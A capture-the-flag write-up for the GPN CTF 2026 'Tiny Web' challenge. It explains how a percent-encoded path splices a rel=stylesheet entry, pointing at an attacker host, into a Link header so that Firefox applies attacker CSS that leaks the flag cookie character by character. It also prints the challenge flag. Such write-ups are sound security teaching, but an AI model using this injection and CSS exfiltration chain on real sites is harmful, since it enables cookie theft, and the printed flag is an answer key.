Challenge: Tiny Web · CTF: GPN CTF 2026 · Category: Web
Flag:
GPNCTF{COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TOO}
Some of the best web challenges fit in a single tweet. tinyweb is one of those: the entire vulnerable application is one line of JavaScript. No framework, no database, no routes — just a raw Node http server that echoes two things back to you. And yet getting the flag out of it takes a genuinely fun chain that ends in a place most people don’t expect: the browser applying a stylesheet it was told about in an HTTP response header.
This is the story of how unescape, a quirks-mode document, and a Firefox feature combine into a cookie-stealing CSS injection.
The target
We were handed three files. The interesting one is index.js:
| |
There’s an admin bot (admin.js) and a Caddy reverse proxy (Caddyfile) sitting in front of it all:
| |
| |
So the setup is:
- The bot launches Firefox (Playwright), visits
http://localhost:8080, and stores the flag as a cookie:document.cookie = "flag=" + FLAG. - It then navigates to a URL we supply, as long as it starts with
http://localhost:8080. - The page is rendered for 30 seconds before the browser closes.
Our job: get FLAG out.
What the server actually does
A quick curl makes both reflections obvious:
| |
Two attacker-influenced sinks:
- The body — the entire
Cookieheader value is reflected verbatim into anonloadhandler. When the bot loads any page onlocalhost:8080, the flag lands here as<body onload=fetch('flag=GPNCTF{...}')>. - The
Linkheader — the request path is passed throughunescape()and placed between angle brackets:Link: <...>;rel=preload;as=fetch.
unescape() is the legacy cousin of decodeURIComponent. It turns %XX sequences into their corresponding characters and leaves everything else untouched. Importantly for us, that means we control the raw bytes of the Link header value, including characters like <, >, ;, and , that have structural meaning in that header.
The trap: CRLF response splitting
The first thing most players try when they see unescape(url) going into a header is CRLF injection:
| |
In older Node versions this would let you inject arbitrary headers (or split the response entirely). Don’t try it here. This is what happens:
| |
And every subsequent request to that instance returns 502 until it’s redeployed. Modern Node (v22 here) validates header values before writing them and throws ERR_INVALID_CHAR on a raw \r or \n. Because there’s no try/catch around writeHead, this is an unhandled exception — which kills the process. No supervisor, no restart. The instance just dies.
I took down the first challenge instance with this exact probe. Classic.
Even if Node somehow let it through, Caddy sits upstream and re-parses the response from Node. It would reject malformed headers before they reached the browser anyway.
CRLF is a dead end on both counts. But unescape is clearly intentional — the question is what else it enables.
Mapping the actual constraints
Before diving into payloads, it pays to be precise about what we can and can’t do. Several “obvious” approaches fail silently if you don’t think them through:
Can we steal the cookie directly?
No. The flag cookie is scoped to localhost. It will never be sent to our server. It only travels on requests from the bot to http://localhost:8080.
Can we read the flag page cross-origin?
No. The flag page is http://localhost:8080. Same-Origin Policy blocks cross-origin reads, and there are no CORS headers enabling exceptions.
Can we inject a script into the flag page?
No. The body template is fixed: <body onload=fetch('${cookie}')>. We control the cookie (sort of — only the bot’s cookie matters, and that’s the flag), and we control the Link header. Neither is a script injection point.
Can we redirect the fetch('flag=...') call?
No. It’s a relative URL with no scheme or host — it always resolves against the document’s own origin, localhost:8080.
The inescapable conclusion: the flag can only be read by something running in the localhost:8080 origin. We can’t inject JavaScript there. We need another way.
The way through is to stop thinking about JavaScript and start thinking about CSS.
The key insight: Link: rel=stylesheet
Here is the feature almost nobody remembers:
Firefox honors
Link: rel=stylesheetHTTP response headers, loading and applying the referenced stylesheet exactly as if the document contained<link rel="stylesheet" href="...">.
The Link header is most commonly associated with rel=preload, rel=preconnect, and rel=dns-prefetch. But the spec also defines rel=stylesheet for it, and Firefox implements it. (This was documented as “the Fourth Way to Inject CSS” by Dan Q in 2020 and has appeared in a handful of CTF challenges since.)
Two conditions for this to work as an exfil primitive:
- The stylesheet must be served with a CSS MIME type — we control our own server, so that’s
Content-Type: text/css. ✅ - The page must not block cross-origin stylesheets — there’s no
nosniff, no CSP, and the page is quirks mode (no<!DOCTYPE html>), all of which is favorable. ✅
So if we can smuggle a rel=stylesheet entry into the Link header pointing at a server we control, Firefox will fetch and apply our CSS to the flag-bearing page. And that page has the flag sitting right there in the body element’s onload attribute, readable by CSS attribute selectors.
Building the exploit
Step 1 — Inject the stylesheet Link entry
The server’s Link template is:
| |
The URL path always starts with /, so after unescape we’re initially inside the first <...>. But the Link header format is a comma-separated list of entries. We can close the current entry and append our own.
Target header:
| |
To produce this, the decoded path needs to be /z>;rel=dns-prefetch,<https://ATTACKER/s.css>;rel=stylesheet,<z. We percent-encode the structural characters so unescape() reconstitutes them:
| |
The bot URL we submit:
| |
Verification (no CRLF, Node stays alive, header injected cleanly):
| |
Step 2 — Leak the flag via CSS attribute selectors
The flag lives here in the rendered page:
| |
CSS lets us match on attribute value prefixes with ^=. When a selector matches, any url() in the rule is fetched. That’s our side-channel:
| |
Exactly one of these fires per page load, and the URL carries the matched prefix — so we learn one new character per bot run.
To go faster I probe two characters at a time: one rule per (c1, c2) pair. With a ~70-character working set that’s about 4,900 rules (~600 KB of CSS). Each bot invocation leaks two more characters. The server auto-advances its known-prefix state after each hit, so the next bot run generates CSS starting one step further along.
Step 3 — The exfiltration server
A small stateful Python server handles everything:
| |
The SEED argument is there because tunnels can drop mid-run. Since the server holds the known prefix in memory, restarting with the last known value resumes from where it left off — no characters need to be re-leaked.
Step 4 — The driving loop
The bot endpoint (/bot/run) is synchronous — it blocks until the Playwright session completes — so sequential curl calls naturally space out without any extra sleep:
| |
Watching it run
Each round the server logs the hit, extends the prefix, and the next round’s CSS is generated dynamically for the new starting point:
| |
The chain in one diagram
| |
Why each piece matters
unescape() instead of encodeURIComponentdecodeURIComponent would decode the same %XX sequences. The meaningful difference is that unescape is deliberately permissive with characters Node will still accept in a header value. The challenge author chose unescape specifically because it lets you reconstruct <, >, ;, and , without triggering Node’s CRLF guard — just enough structural control to splice in a new Link entry, not enough to break out of the header entirely.
Firefox
Chrome does not apply Link: rel=stylesheet from response headers. The choice of Firefox in the Playwright bot is load-bearing, not incidental. (The flag spells it out: “FIr3FoX_FeAtuREs”.)
No DOCTYPE — quirks mode
The <body onload=...> document has no <!DOCTYPE html>. Quirks mode relaxes a number of browser security constraints around cross-origin stylesheet loading. Combined with the absence of nosniff, this ensures the cross-origin stylesheet is applied without complaint.
The onload attribute
The cookie value is reflected into the onload attribute of <body>. CSS attribute selectors work on any HTML attribute — onload is no different from data-value from CSS’s perspective. This is an unusual place to look for CSS-readable data, which is part of what makes the challenge elegant.
Takeaways
Link: rel=stylesheetis a real browser feature in Firefox. It’s obscure but spec-compliant. Any time you can control aLinkresponse header (or inject into one via a structural character), in a Firefox context, this is a potential CSS injection primitive.CSS exfiltration doesn’t need JS. When you’re boxed out of script execution and cross-origin reads, attribute selectors +
url()side-channels can still leak data from attribute values — one known prefix at a time.CRLF-into-headers kills Node processes. Modern Node validates header character ranges before writing them. An uncaught throw from
writeHeadwith no supervisor = dead process. Probe responsibly.Read the flag.
COd3_gO1f_15_Fun__FIr3FoX_FeAtuREs_TOO— “code golf is fun, Firefox features too.” The challenge author put the whole solution in the flag text. Hindsight is wonderful.